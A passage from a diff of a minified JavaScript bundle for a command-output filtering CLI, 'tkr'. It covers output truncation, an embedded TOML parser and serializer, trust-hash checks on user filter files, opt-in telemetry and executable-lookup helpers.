d=t.scale_with_level?EA(n.verbosity):1,p=Math.min(t.max_lines,Math.max(TA,Math.round(t.max_lines*d))),g=c?dc(a):null,h=g?g.filter(m=>!m).length:a.length;if(h>p){let m=p;if(g){let S=0;for(m=0;m<a.length&&S<p;)g[m]||(S+=1),m+=1}let _=h-p;if(t.keep_failures){let S=a.slice(m),E=S.filter(I=>!je.test(I)),R=S.reduce((I,A,$)=>I+(!je.test(A)&&!g?.[m+$]?1:0),0);u=E.length>0?E.join(`
85
- `):null,a=[...a.slice(0,m),...R>0?[fr(R)]:[],...S.filter(I=>je.test(I))]}else if(c)u=a.slice(m).join(`
86
- `),a=[...a.slice(0,m),fr(_)];else{let{kept:S,dropped:E}=Ng(a,p);u=E.length>0?E.join(`
104
+ `);o.stripRegexes.length&&(a=t.keep_failures?a.filter(d=>je.test(d)||!o.stripRegexes.some(m=>m.test(d))):xc(a,o.stripRegexes)),o.dropRegexes.length&&(a=xc(a,o.dropRegexes)),r!=="normal"&&!t.preserve_exact&&(a=Ti(a),a=gh(a)),r==="minimal"&&!t.preserve_exact&&(a=dh(a),(t.slug==="vitest"||t.slug==="npm-test")&&(a=k$(a)));let l=t.transform==="smart-read"&&n.smartCode!==!0?r==="compact"?8:r==="minimal"?6:3:3;!t.preserve_exact&&(n.smartCode||n.smartCode===void 0&&r!=="normal"&&vi(s))&&(a=Ho(a,l)),t.transform&&(t.transform==="smart-read"?a=Ho(a,l,t.slug==="read-tool"):a=Pc(t.transform,a,n.cmd));let c=t.slug==="read-tool";if(!c){let d=vc(a);d.some(Boolean)&&(a=a.filter((m,g)=>!d[g]))}t.mask_abs_paths&&(a=rh(a)),t.fold_passing&&(a=nh(a,t.fold_passing_threshold??5)),t.truncate_lines_at&&(a=Qg(a,t.truncate_lines_at));let u=null;if(t.max_lines){let d=t.scale_with_level?h$(n.verbosity):1,m=Math.min(t.max_lines,Math.max(y$,Math.round(t.max_lines*d))),g=c?vc(a):null,h=g?g.filter(p=>!p).length:a.length;if(h>m){let p=m;if(g){let S=0;for(p=0;p<a.length&&S<m;)g[p]||(S+=1),p+=1}let w=h-m;if(t.keep_failures){let S=a.slice(p),x=S.filter(A=>!je.test(A)),T=S.reduce((A,M,I)=>A+(!je.test(M)&&!g?.[p+I]?1:0),0);u=x.length>0?x.join(`
105
+ `):null,a=[...a.slice(0,p),...T>0?[fr(T)]:[],...S.filter(A=>je.test(A))]}else if(c)u=a.slice(p).join(`
106
+ `),a=[...a.slice(0,p),fr(w)];else{let{kept:S,dropped:x}=th(a,m);u=x.length>0?x.join(`
87
107
  `):null,a=S}}}let f=a.join(`
88
108
  `);return i&&f.length>0&&(f+=`
89
- `),f.trim().length===0&&t.on_empty&&(e.length===0||e.trim().length>0)&&(n.exitCode==null||n.exitCode===0||n.exitCode===1&&CA.has(t.slug))&&!bc(n.cmd)&&(f=t.on_empty),{text:f,droppedTail:u}}var TA,Eh,$A,CA,Sc=y(()=>{"use strict";Io();Cg();Ig();fc();No();Fg();dr();vi();Te();th();nh();oh();sh();ah();lh();ch();bh();Sh();xh();vh();TA=20;Eh=new WeakMap;$A=new RegExp([String.raw`(?:^|[\s;&|(])grep(?=\s)[^|;&]*?\s(?:-[A-Za-z]*q[A-Za-z]*|--quiet|--silent)(?=\s|$)`,String.raw`(?:^|[\s;&|(])find(?=\s)[^|;&]*?\s-(?:delete|quit|exec|execdir|ok|okdir|fprint0?|fprintf|fls|prune)(?=\s|$)`,String.raw`(?:^|[\s;&|(])(?:ruff|black|flake8)(?=\s)[^|;&]*?\s(?:-q+|--quiet)(?=\s|$)`,String.raw`(?:^|[\s;&|(])eslint(?=\s)[^|;&]*?\s(?:-o|--output-file)(?=[\s=]|$)`,String.raw`(?:^|[\s;&|(])prettier(?=\s)[^|;&]*?\s(?:-l|--list-different)(?=\s|$)`].join("|")),CA=new Set(["grep","ast-grep"])});function OA(e,t){let n=e.slice(0,t).split(/\r?\n/);return[n.length,n.pop().length+1]}function PA(e,t,n){let r=e.split(/\r?\n/),o="",s=(Math.log10(t+1)|0)+1;for(let i=t-1;i<=t+1;i++){let a=r[i-1];a&&(o+=i.toString().padEnd(s," "),o+=": ",o+=a,o+=`
90
- `,i===t&&(o+=" ".repeat(s+n+2),o+=`^
91
- `))}return o}var P,mn=y(()=>{P=class e extends Error{line;column;codeblock;constructor(t,n){let[r,o]=OA(n.toml,n.ptr),s=PA(n.toml,r,o);super(`Invalid TOML document: ${t}
92
-
93
- ${s}`,n),this.line=r,this.column=o,this.codeblock=s}static x(t,n,r){throw new e(t,{toml:n.s,ptr:r??n.p})}}});function Ti(e){let t=e.p,n=e.s.charCodeAt(e.p++),r=n,o=n===39,s=n===e.s.charCodeAt(e.p)&&n===e.s.charCodeAt(e.p+1);s&&((n=e.s.charCodeAt(e.p+=2))===10?e.p++:n===13&&e.s.charCodeAt(e.p+1)===10&&(e.p+=2));let i="",a=e.p,l=0;for(;e.p<e.s.length;e.p++)if(n=e.s.charCodeAt(e.p),s&&(n===10||n===13&&e.s.charCodeAt(e.p+1)===10))l=l&&3;else if(n<32&&n!==9||n===127)P.x("control characters are not allowed in strings",e);else if((!l||l===3)&&n===r&&(!s||e.s.charCodeAt(e.p+1)===r&&e.s.charCodeAt(e.p+2)===r)){if(s&&(e.s.charCodeAt(e.p+3)===r&&e.p++,e.s.charCodeAt(e.p+3)===r&&e.p++),!l){let c=e.s.slice(a,e.p);i=i?i+c:c}return e.p+=s?3:1,i}else if(!l)!o&&n===92&&(i+=e.s.slice(a,a=e.p),l=1);else if(l===1)if(n===120||n===117||n===85){let c=e.p++-1,u=0,f=n===120?2:n===117?4:8;for(let d=0;d<f;d++,e.p++){let p=e.s.charCodeAt(e.p),g=p>=48&&p<=57?p-48:p>=65&&p<=70?p-65+10:p>=97&&p<=102?p-97+10:-1;g<0&&P.x("invalid non-hex character in unicode escape",e),u=u<<4|g}(u<0||u>1114111||u>=55296&&u<=57343)&&P.x("invalid unicode escape",e,c),i+=String.fromCodePoint(u),a=e.p--,l=0}else s&&(n===32||n===9)?l=2:(n===98?i+="\b":n===116?i+=" ":n===110?i+=`
94
- `:n===102?i+="\f":n===114?i+="\r":n===101?i+="\x1B":n===34?i+='"':n===92?i+="\\":P.x("unrecognised escape sequence",e),a=e.p+1,l=0);else n!==32&&n!==9&&(l===2&&P.x("invalid escape: only line-ending whitespace may be escaped",e,a),l=!o&&n===92?1:0,a=e.p);P.x("unfinished string",e,t)}var xc=y(()=>{mn();});var IA,gn,vc=y(()=>{IA=/^(\d{4}-\d{2}-\d{2})?[Tt ]?(?:(\d{2}):\d{2}(?::\d{2}(?:\.\d+)?)?)?(Z|z|[-+]\d{2}:\d{2})?$/i,gn=class e extends Date{#t=!1;#n=!1;#e=null;constructor(t,n,r){let o=!0,s=!0,i="Z",a;if(typeof t=="string")if(n)e:{if(n<3){if(+t.slice(11,13)>23){t="";break e}n===2?(i=null,t+="Z"):(a=t.charCodeAt(t.length-1))!==90&&a!==122&&(i=t.slice(t.length-6)),r&&(t=t.slice(0,10)+"T"+t.slice(11))}else n===4&&(t=+t.slice(0,2)>23?"":`0000-01-01T${t}Z`);o=n!==4,s=n!==3}else{let l=t.match(IA);l?(l[1]||(o=!1,t=`0000-01-01T${t}`),s=!!l[2],s&&t[10]===" "&&(t=t.replace(" ","T")),l[2]&&+l[2]>23?t="":(i=l[3]||null,!i&&s&&(t+="Z"))):t=""}super(t),isNaN(this.getTime())||(this.#t=o,this.#n=s,this.#e=i)}isDateTime(){return this.#t&&this.#n}isLocal(){return!this.#t||!this.#n||!this.#e}isDate(){return this.#t&&!this.#n}isTime(){return this.#n&&!this.#t}isValid(){return this.#t||this.#n}toISOString(){let t=super.toISOString();if(this.isDate())return t.slice(0,10);if(this.isTime())return t.slice(11,23);if(this.#e===null)return t.slice(0,-1);if(this.#e==="Z"||this.#e==="z")return t;let n=+this.#e.slice(1,3)*60+ +this.#e.slice(4,6);return n=this.#e[0]==="-"?n:-n,new Date(this.getTime()-n*6e4).toISOString().slice(0,-1)+this.#e}static wrapAsOffsetDateTime(t,n="Z"){let r=new e(t);return r.#e=n,r}static wrapAsLocalDateTime(t){let n=new e(t);return n.#e=null,n}static wrapAsLocalDate(t){let n=new e(t);return n.#n=!1,n.#e=null,n}static wrapAsLocalTime(t){let n=new e(t);return n.#t=!1,n.#e=null,n}}});function Pe(e,t=10){return t===16?e>47&&e<58||e>64&&e<71||e>96&&e<103:e>47&&e<48+t}function Tc(e,t){return e===32||e===9||e===10||e===13||t&&(e===t||e===44)||e===35}function Fo(e,t){let n=e.p,r=e.s.charCodeAt(e.p);if(r===91||r===123){e.d--||P.x("document contains excessively nested structures. aborting.",e);let o=r===91?Ah(e):Rh(e);return e.d++,o}return r===34||r===39?Ti(e):r===116?((e.s.charCodeAt(++e.p)!==114||e.s.charCodeAt(++e.p)!==117||e.s.charCodeAt(++e.p)!==101)&&P.x("invalid value",e,n),e.p++,!0):r===102?((e.s.charCodeAt(++e.p)!==97||e.s.charCodeAt(++e.p)!==108||e.s.charCodeAt(++e.p)!==115||e.s.charCodeAt(++e.p)!==101)&&P.x("invalid value",e,n),e.p++,!1):r===43||r===45?Ri(e,e.p,e.s.charCodeAt(++e.p),44-r,t):e.s.charCodeAt(e.p+4)===45&&e.s.charCodeAt(e.p+7)===45?NA(e,r,t):e.s.charCodeAt(e.p+2)===58?MA(e,r,t):Ri(e,e.p,r,0,t)}function Ri(e,t,n,r,o){let s=n,i=0,a=!1;if(s===105)return(e.s.charCodeAt(++e.p)!==110||e.s.charCodeAt(++e.p)!==102)&&P.x("invalid value",e,t),e.p++,(r||1)/0;if(s===110)return(e.s.charCodeAt(++e.p)!==97||e.s.charCodeAt(++e.p)!==110)&&P.x("invalid value",e,t),e.p++,NaN;if(s===48){if(++e.p>=e.s.length||Tc(s=e.s.charCodeAt(e.p),o))return e.bi===!0?0n:0;if(!r){if(s===120)return Ec(e,t,16,o);if(s===98)return Ec(e,t,2,o);if(s===111)return Ec(e,t,8,o)}s===46?i=2:s===101||s===69?i=4:P.x("illegal leading zero",e,t)}else Pe(s)||P.x("invalid value",e,t);for(;++e.p<e.s.length&&(s=e.s.charCodeAt(e.p),!Tc(s,o));)i||(i=1),s===95?(i&1||P.x("illegal underscore",e),i+=11,a=!0):i===1&&s===46?i=2:(i===1||i===3)&&(s===101||s===69)?i=4:i===4&&(s===43||s===45)||(Pe(s)?i>9?i-=11:i&1||i++:P.x("illegal character in numeric literal",e));if(!i){let c=(n-48)*(r||1);return e.bi===!0?BigInt(c):c}i&1||P.x("unfinished numeric value",e,t);let l=e.s.slice(t,e.p);return a&&(l=l.replaceAll("_","")),i>1?parseFloat(l):Th(e,l,10,t)}function Ec(e,t,n,r){let o,s=1;for(;++e.p<e.s.length&&(o=e.s.charCodeAt(e.p),!Tc(o,r));)o===95?(s&1&&P.x("illegal underscore",e),s=3):Pe(o,n)?s&1&&s--:P.x("illegal character in numeric literal",e);s&1&&P.x("unfinished numeric value",e);let i=e.s.slice(t+2,e.p);return s&&(i=i.replaceAll("_","")),Th(e,i,n,t)}function Th(e,t,n,r){if(e.bi!==!0)e:{let o=parseInt(t,n);if(!Number.isSafeInteger(o)){if(e.bi)break e;P.x("integer value cannot be represented losslessly",e,r)}return o}return BigInt(n===10?t:(n===2?"0b":n===8?"0o":"0x")+t)}function NA(e,t,n){let r=e.p++,o;if(!Pe(t)||!Pe(e.s.charCodeAt(e.p++))||!Pe(e.s.charCodeAt(e.p++))||!Pe(e.s.charCodeAt(e.p++)))return Ri(e,e.p=r,t,0,n);if(e.p+=5,Pe(e.s.charCodeAt(e.p++))||P.x("invalid date-time: date part is malformed",e,r),e.p>=e.s.length||((t=e.s.charCodeAt(e.p))!==32||(o=!0,!Pe(e.s.charCodeAt(e.p+1))))&&t!==84&&t!==116){let i=e.s.slice(r,e.p);return Do(e,i,3,!1,r)}if(e.s.charCodeAt(e.p+=3)!==58&&P.x("invalid date-time: time part is malformed",e,r),e.s.charCodeAt(e.p+=3)===58&&(e.p+=3),e.s.charCodeAt(e.p)===46)for(;Pe(e.s.charCodeAt(++e.p)););if(t=e.s.charCodeAt(e.p)){if(t===90||t===122){let i=e.s.slice(r,++e.p);return Do(e,i,1,o,r,"[+00:00]")}if(t===43||t===45){let i=e.s.slice(r,e.p+=6);return Do(e,i,1,o,r,!e.ld&&"["+e.s.slice(e.p-6,e.p)+"]")}}let s=e.s.slice(r,e.p);return Do(e,s,2,o,r)}function MA(e,t,n){let r=e.p;if(!Pe(t)||!Pe(e.s.charCodeAt(++e.p)))return Ri(e,--e.p,t,0,n);if(e.s.charCodeAt(e.p+=4)===58&&(e.p+=3),e.s.charCodeAt(e.p)===46)for(;Pe(e.s.charCodeAt(++e.p)););let o=e.s.slice(r,e.p);return Do(e,o,4,!1,r)}function Do(e,t,n,r,o,s){if(e.ld){let i=new gn(t,n,r);return i.isValid()||P.x("invalid date",e,o),i}try{switch(s&&(t+=s),n){case 1:return Temporal.ZonedDateTime.from(t);case 2:return Temporal.PlainDateTime.from(t);case 3:return Temporal.PlainDate.from(t);case 4:return Temporal.PlainTime.from(t)}}catch(i){P.x(i instanceof Error?i.message:""+i,e,o)}}var Rc=y(()=>{xc();Ac();mn();vc();});function DA(e){for(;e.p<e.s.length;e.p++){let t=e.s.charCodeAt(e.p);if(t===10)break;if(t===13&&e.s.charCodeAt(e.p+1)===10){e.p++;break}(t<32&&t!==9||t===127)&&P.x("control characters are not allowed in comments",e)}}function We(e,t,n){let r;for(;e.p<e.s.length;){for(;e.p<e.s.length&&((r=e.s.charCodeAt(e.p))===32||r===9||!t&&(r===10||r===13&&e.s.charCodeAt(e.p+1)===10));)e.p++;if(n||r!==35)break;DA(e)}}var $c=y(()=>{mn();});function Ai(e,t=61){let n,r=0,o=[],s,i=e.s.charCodeAt(n=e.p);do{if(i===t)return r||P.x("unexpected end of key",e),r===1&&o.push(e.s.slice(s,e.p)),e.p++,o;i===46?(r||P.x("illegal empty bare key",e),r===1&&o.push(e.s.slice(s,e.p)),r=0):!r&&(i===34||i===39)?(i===e.s.charCodeAt(e.p+1)&&i===e.s.charCodeAt(e.p+2)&&P.x("illegal quoted key: multiline strings are not allowed",e),o.push(Ti(e)),r=2,e.p--):i===32||i===9?r===1&&(o.push(e.s.slice(s,e.p)),r=2):r===2||i<48&&i!==45||i>57&&i<65||i>90&&i<97&&i!==95||i>122?P.x("illegal character in key",e):r||(r=1,s=e.p)}while(i=e.s.charCodeAt(++e.p));P.x("incomplete key-value: cannot find end of key",e,n)}function Rh(e){let t=e.p++,n=Object.create(null),r=new Set,o;for(;e.p<e.s.length;){if(We(e),(o=e.s.charCodeAt(e.p))===125)return e.p++,n;let s,i=n,a=!1,l=e.p,c=Ai(e);for(let f=0;f<c.length;f++){f&&(i=a?i[s]:i[s]=Object.create(null)),s=c[f],(a=Object.hasOwn(i,s))&&(typeof i[s]!="object"||r.has(i[s]))&&P.x("trying to redefine an already defined value",e,l);let d=s==="__proto__";if(e.uk&&(d||s==="constructor")){i=e.uk!==1&&P.x("document contains an unsafe property",e,l);break}!a&&d&&Object.defineProperty(i,s,{enumerable:!0,configurable:!0,writable:!0})}a&&P.x("trying to redefine an already defined value",e,l),We(e,!0,!0);let u=Fo(e,125);if(i&&typeof(i[s]=u)=="object"&&r.add(u),We(e),(o=e.s.charCodeAt(e.p++))===125)return n;o!==44&&P.x("expected comma or end of structure",e,e.p-1)}P.x("unfinished table",e,t)}function Ah(e){let t=e.p++,n=[],r;for(;e.p<e.s.length;){if(We(e),(r=e.s.charCodeAt(e.p))===93)return e.p++,n;if(n.push(Fo(e,93)),We(e),(r=e.s.charCodeAt(e.p++))===93)return n;r!==44&&P.x("expected comma or end of structure",e,e.p-1)}P.x("unfinished array",e,t)}var Ac=y(()=>{xc();Rc();$c();mn();});function $h(e,t,n,r,o){let s=n,i=r,a,l=!1,c;for(let u=0;u<t.length;u++){if(u){if(s=l?s[a]:s[a]=Object.create(null),i=(c=i[a]).c,o===0&&(c.t===1||c.t===2))return null;if(c.t===2){let f=s.length-1;s=s[f],i=i[f].c}}if(a=t[u],(l=Object.hasOwn(s,a))&&i[a]?.t===0&&i[a]?.d)return null;if(!l){let f=a==="__proto__";if(e.uk&&(f||a==="constructor"))return!1;f&&(Object.defineProperty(s,a,{enumerable:!0,configurable:!0,writable:!0}),Object.defineProperty(i,a,{enumerable:!0,configurable:!0,writable:!0})),i[a]={t:u<t.length-1&&o===2?3:o,d:!1,i:0,c:Object.create(null)}}}if(c=i[a],c.t!==o&&!(o===1&&c.t===3)||(o===2&&(c.d||(c.d=!0,s[a]=[]),s[a].push(s=Object.create(null)),c.c[c.i++]=c={t:1,d:!1,i:0,c:Object.create(null)}),c.d))return null;if(c.d=!0,o===1)s=l?s[a]:s[a]=Object.create(null);else if(o===0&&l)return null;return[a,s,c.c]}function Ch(e,t,n){(t===null||e.uk===2)&&P.x(t===null?"trying to redefine an already defined table or value":"document contains an unsafe property",e,n)}function Lo(e,t={}){let n={s:e,p:0,d:t.maxDepth??1e3,bi:t.integersAsBigInt??!1,ld:t.useLegacyDate??!0,uk:t.unsafeKeyBehaviour==="throw"?2:t.unsafeKeyBehaviour==="drop"?1:0},r=Object.create(null),o=Object.create(null),s,i=!1,a=r,l=o;for(e.charCodeAt(0)===65279&&n.p++,We(n);n.p<e.length;){if(e.charCodeAt(n.p)===91){let c=e.charCodeAt(++n.p)===91;s=n.p+=+c,i=!1;let u=Ai(n,93);c&&(e.charCodeAt(n.p)!==93&&P.x("expected end of table array declaration",n),n.p++);let f=$h(n,u,r,o,c?2:1);f?(l=f[2],a=f[1]):(Ch(n,f,s),i=!0)}else{s=n.p;let c=Ai(n),u=$h(n,c,a,l,0);!u&&!i&&Ch(n,u,s),We(n,!0,!0);let f=Fo(n,void 0);u&&!i&&(u[1][u[0]]=f)}We(n,!0),n.p<e.length&&(s=e.charCodeAt(n.p))!==10&&(s!==13||e.charCodeAt(n.p+1)!==10)&&P.x("each key-value declaration must be followed by an end-of-line",n),We(n)}return r}var Oh=y(()=>{Ac();Rc();$c();mn();});function Ho(e){let t=typeof e;if(t==="object"){if(Array.isArray(e))return"array";if(typeof e.getUTCDate=="function"&&e instanceof Date)return"date";if(globalThis.Temporal){if(e.until){if(e instanceof Temporal.ZonedDateTime)return"temporal/tz+uc";if(e instanceof Temporal.PlainDateTime||e instanceof Temporal.PlainDate)return"temporal/uc";if(e instanceof Temporal.PlainTime||e instanceof Temporal.Instant)return"temporal";if(e instanceof Temporal.PlainYearMonth)return"temporal/x"}else if(e.toPlainDate&&e instanceof Temporal.PlainMonthDay||e.negated&&e instanceof Temporal.Duration)return"temporal/x"}}return t}function LA(e){for(let t=0;t<e.length;t++)if(Ho(e[t])!=="object")return!1;return e.length!=0}function Ih(e){return JSON.stringify(e).replaceAll("\x7F","\\u007f")}function HA(e){return Ih(Ph?e.toWellFormed():e)}function Nh(e){if(FA.test(e))return e;if(Ph&&!e.isWellFormed())throw new RangeError("key contains illegal lone surrogates");return Ih(e)}function Cc(e,t,n,r,o){if(n===0)throw new Error("Could not stringify the object: maximum object depth exceeded");switch(t){case"number":if(isNaN(e))return"nan";if(e===1/0)return"inf";if(e===-1/0)return"-inf";if(Number.isInteger(e)&&(r||!Number.isSafeInteger(e)))return e.toFixed(1);case"bigint":case"boolean":case"temporal":return e.toString();case"string":return HA(e);case"date":if(isNaN(e.getTime()))throw new TypeError("cannot serialize invalid date");return e.toISOString();case"object":return jA(e,n,r,o);case"array":return BA(e,n,r,o);case"temporal/tz+uc":if(o){let s=e.timeZoneId,i=s.charCodeAt(0);if(i!==43&&i!==45&&(i!==85&&i!==71&&i!==90&&i!==69||s!=="UTC"&&s!=="UCT"&&s!=="Universal"&&s!=="Zulu"&&!s.startsWith("GMT")&&s!=="Greenwich"&&!s.startsWith("Etc/")))throw new TypeError("Temporal objects with an IANA timezone are not allowed in Temporal strict mode")}case"temporal/uc":if(o&&e.calendarId!=="iso8601")throw new TypeError("Temporal objects with a non-default calendar are not allowed in Temporal strict mode");return e.toString({calendarName:"never",timeZoneName:"never"});case"temporal/x":throw new TypeError("Unsupported "+e[Symbol.toStringTag])}}function jA(e,t,n,r){let o=Object.keys(e);if(o.length===0)return"{}";let s="{ ";for(let i=0;i<o.length;i++){let a=o[i];i&&(s+=", "),s+=Nh(a)+" = "+Cc(e[a],Ho(e[a]),t-1,n,r)}return s+" }"}function BA(e,t,n,r){if(e.length===0)return"[]";let o="[ ";for(let s=0;s<e.length;s++){if(s&&(o+=", "),e[s]===null||e[s]===void 0)throw new TypeError("arrays cannot contain null or undefined values");o+=Cc(e[s],Ho(e[s]),t-1,n,r)}return o+" ]"}function zA(e,t,n,r,o){if(n===0)throw new Error("Could not stringify the object: maximum object depth exceeded");let s="";for(let i=0;i<e.length;i++)s+=`${s&&`
95
- `}[[${t}]]
96
- `,s+=Oc(0,e[i],t,n,r,o);return s}function Oc(e,t,n,r,o,s){if(r===0)throw new Error("Could not stringify the object: maximum object depth exceeded");let i="",a="",l=Object.keys(t);for(let c=0;c<l.length;c++){let u=l[c];if(t[u]!==null&&t[u]!==void 0){let f=Ho(t[u]);if(f==="symbol"||f==="function")throw new TypeError(`cannot serialize values of type '${f}'`);let d=Nh(u);if(f==="array"&&LA(t[u]))a+=(a&&`
97
- `)+zA(t[u],n?`${n}.${d}`:d,r-1,o,s);else if(f==="object"){let p=n?`${n}.${d}`:d;a+=(a&&`
98
- `)+Oc(p,t[u],p,r-1,o,s)}else i+=d,i+=" = ",i+=Cc(t[u],f,r,o,s),i+=`
99
- `}}return e&&(i||!a)&&(i=i?`[${e}]
100
- ${i}`:`[${e}]`),i&&a?`${i}
101
- ${a}`:i||a}function Pc(e,{maxDepth:t=1e3,numbersAsFloat:n=!1,strictTemporal:r=!1}={}){if(Ho(e)!=="object")throw new TypeError("stringify can only be called with an object");let o=Oc(0,e,"",t,n,r);return o[o.length-1]!==`
102
- `?o+`
103
- `:o}var FA,Ph,Mh=y(()=>{FA=/^[a-z0-9-_]+$/i,Ph=!!"".isWellFormed});var Ic={};ge(Ic,{TomlDate:()=>gn,TomlError:()=>P,default:()=>UA,parse:()=>Lo,stringify:()=>Pc});var UA,$i=y(()=>{Oh();Mh();vc();mn();UA={parse:Lo,stringify:Pc,TomlDate:gn,TomlError:P}});import{readdir as JA,readFile as Hh,writeFile as vz,mkdir as Ez,rename as Tz}from"node:fs/promises";import{readdirSync as GA,statSync as Dh}from"node:fs";import{createHash as ZA}from"node:crypto";import{basename as Cz,join as Ii}from"node:path";function Pi(){return Ii(b(),"filters")}function Bh(){return Ii(b(),"filters-trust.json")}function zh(e){return typeof e=="string"&&e.startsWith(jh)}function WA(e){return ZA("sha256").update(e).digest("hex")}async function VA(){try{let e=JSON.parse(await Hh(Bh(),"utf8")),t={};if(e.files&&typeof e.files=="object")for(let[n,r]of Object.entries(e.files))typeof r=="string"&&/^[0-9a-f]{64}$/.test(r)&&(t[n]=r);return{v:1,files:t}}catch{return{v:1,files:{}}}}function qA(e,t){if(t===void 0)return{tests:[]};let n={message:`${e}: tests: each [[filters.${e}.tests]] needs input and expected strings`};if(!Array.isArray(t))return n;let r=[];for(let o of t){if(typeof o!="object"||o===null)return n;let{input:s,expected:i,name:a}=o;if(typeof s!="string"||typeof i!="string")return n;r.push({...typeof a=="string"&&a?{name:a}:{},input:s,expected:i})}return{tests:r}}function YA(e,t){let n=typeof t=="object"&&t!==null&&!Array.isArray(t)?t:{},{tests:r,...o}=n,s=qA(e,r);if("message"in s)return s;let i=Tt.safeParse({...o,slug:e});if(!i.success){let l=i.error.issues.map(c=>`${c.path.join(".")||"rule"}: ${c.message}`).join("; ");return{message:`${e}: ${l}`}}let a;try{a=new RegExp(i.data.match_command)}catch{return{message:`${e}: match_command is not a valid regular expression`}}for(let l of i.data.strip_lines_matching)try{new RegExp(l)}catch{return{message:`${e}: strip_lines_matching has an invalid regular expression`}}return{filter:{...i.data,slug:`${jh}${i.data.slug}`,matchRegex:a},tests:s.tests}}function XA(e){return e===void 0||e===Ci?null:typeof e=="number"&&Number.isInteger(e)?`schema_version ${e} is not supported: this tkr reads schema_version = ${Ci}. Update tkr, or write the file for version ${Ci}`:`schema_version must be the number ${Ci}`}async function QA(e){try{return(await JA(e)).filter(t=>t.endsWith(".toml")).sort()}catch{return[]}}async function e$(e={}){let t=e.requireTrust!==!1,n=Pi(),r=new Map,o=new Map,s=[],i=await QA(n);if(i.length===0)return{dir:n,filters:r,tests:o,issues:s};let a=t?await VA():null;for(let l of i){let c;try{c=await Hh(Ii(n,l),"utf8")}catch{s.push({file:l,message:"could not be read"});continue}if(a){let f=a.files[l];if(!f){s.push({file:l,message:`not trusted yet. Review it, then run: tkr filters trust ${l}`});continue}if(f!==WA(c)){s.push({file:l,message:`changed since it was trusted. Review it, then run: tkr filters trust ${l}`});continue}}let u=await t$(c,l);for(let[f,d]of u.filters)r.set(f,d);for(let[f,d]of u.tests)o.set(f,d);s.push(...u.issues)}return{dir:n,filters:r,tests:o,issues:s}}async function t$(e,t){let n=new Map,r=new Map,o=[],{parse:s}=await Promise.resolve().then(()=>($i(),Ic)),i;try{i=s(e)}catch(c){return o.push({file:t,message:`not valid TOML (${String(c.message).split(`
104
- `)[0]})`}),{filters:n,tests:r,issues:o}}let a=XA(i.schema_version);if(a)return o.push({file:t,message:a}),{filters:n,tests:r,issues:o};let l=i.filters;if(typeof l!="object"||l===null||Array.isArray(l))return o.push({file:t,message:"no [filters.<name>] table found"}),{filters:n,tests:r,issues:o};for(let[c,u]of Object.entries(l)){let f=YA(c,u);if("message"in f){o.push({file:t,message:f.message});continue}n.set(f.filter.slug,f.filter),f.tests.length>0&&r.set(f.filter.slug,{file:t,tests:f.tests})}return{filters:n,tests:r,issues:o}}function n$(){let e=[];for(let t of[Bh(),Pi()])try{let n=Dh(t);e.push(`${n.mtimeMs}:${n.size}`)}catch{e.push("-")}try{for(let t of GA(Pi()).filter(n=>n.endsWith(".toml")).sort()){let n=Dh(Ii(Pi(),t));e.push(`${t}:${n.mtimeMs}:${n.size}`)}}catch{}return e.join("|")}function r$(){let e=Date.now();if(!Oi||e-Lh>=KA){Lh=e;let t=n$();(!Oi||t!==Fh)&&(Fh=t,Oi=e$())}return Oi}async function o$(e){let{filters:t}=await r$();return t.size===0?null:Cn(e,t.values(),null,t)}function Uh(e){return async(t,n)=>await o$(t)??e(t,n)}var jh,Ci,Oi,Fh,Lh,KA,Nc=y(()=>{"use strict";Lr();ds();Sc();z();jh="user/",Ci=1,Oi=null,Fh="",Lh=0,KA=1e3});var Jh={};ge(Jh,{flush:()=>Mc,recordEvent:()=>jo});async function jo(e){if(e.plan!=="pro"||zh(e.filterId)||!(await ne()).telemetryOptIn)return;let t=wi(e.cmd);!t||sn(t)!==t||yi("learn",{cmd:t,filterId:e.filterId==null?null:ue(e.filterId),rawBytes:e.rawBytes,filteredBytes:e.filteredBytes})}async function Mc(e){return ki("learn","/api/v1/learn",{baseUrl:e,requirePro:!0,consent:!0})}var Bo=y(()=>{"use strict";ur();Wr();bi();ut();Nc();pt()});var ty=Ae((yU,ey)=>{ey.exports=Qh;Qh.sync=u$;var Yh=_t("fs");function c$(e,t){var n=t.pathExt!==void 0?t.pathExt:process.env.PATHEXT;if(!n||(n=n.split(";"),n.indexOf("")!==-1))return!0;for(var r=0;r<n.length;r++){var o=n[r].toLowerCase();if(o&&e.substr(-o.length).toLowerCase()===o)return!0}return!1}function Xh(e,t,n){return!e.isSymbolicLink()&&!e.isFile()?!1:c$(t,n)}function Qh(e,t,n){Yh.stat(e,function(r,o){n(r,r?!1:Xh(o,e,t))})}function u$(e,t){return Xh(Yh.statSync(e),e,t)}});var iy=Ae((kU,sy)=>{sy.exports=ry;ry.sync=f$;var ny=_t("fs");function ry(e,t,n){ny.stat(e,function(r,o){n(r,r?!1:oy(o,t))})}function f$(e,t){return oy(ny.statSync(e),t)}function oy(e,t){return e.isFile()&&d$(e,t)}function d$(e,t){var n=e.mode,r=e.uid,o=e.gid,s=t.uid!==void 0?t.uid:process.getuid&&process.getuid(),i=t.gid!==void 0?t.gid:process.getgid&&process.getgid(),a=parseInt("100",8),l=parseInt("010",8),c=parseInt("001",8),u=a|l,f=n&c||n&l&&o===i||n&a&&r===s||n&u&&s===0;return f}});var ly=Ae((wU,ay)=>{var bU=_t("fs"),Ni;process.platform==="win32"||global.TESTING_WINDOWS?Ni=ty():Ni=iy();ay.exports=Dc;Dc.sync=p$;function Dc(e,t,n){if(typeof t=="function"&&(n=t,t={}),!n){if(typeof Promise!="function")throw new TypeError("callback not provided");return new Promise(function(r,o){Dc(e,t||{},function(s,i){s?o(s):r(i)})})}Ni(e,t||{},function(r,o){r&&(r.code==="EACCES"||t&&t.ignoreErrors)&&(r=null,o=!1),n(r,o)})}function p$(e,t){try{return Ni.sync(e,t||{})}catch(n){if(t&&t.ignoreErrors||n.code==="EACCES")return!1;throw n}}});var gy=Ae((_U,my)=>{var mr=process.platform==="win32"||process.env.OSTYPE==="cygwin"||process.env.OSTYPE==="msys",cy=_t("path"),m$=mr?";":":",uy=ly(),fy=e=>Object.assign(new Error(`not found: ${e}`),{code:"ENOENT"}),dy=(e,t)=>{let n=t.colon||m$,r=e.match(/\//)||mr&&e.match(/\\/)?[""]:[...mr?[process.cwd()]:[],...(t.path||process.env.PATH||"").split(n)],o=mr?t.pathExt||process.env.PATHEXT||".EXE;.CMD;.BAT;.COM":"",s=mr?o.split(n):[""];return mr&&e.indexOf(".")!==-1&&s[0]!==""&&s.unshift(""),{pathEnv:r,pathExt:s,pathExtExe:o}},py=(e,t,n)=>{typeof 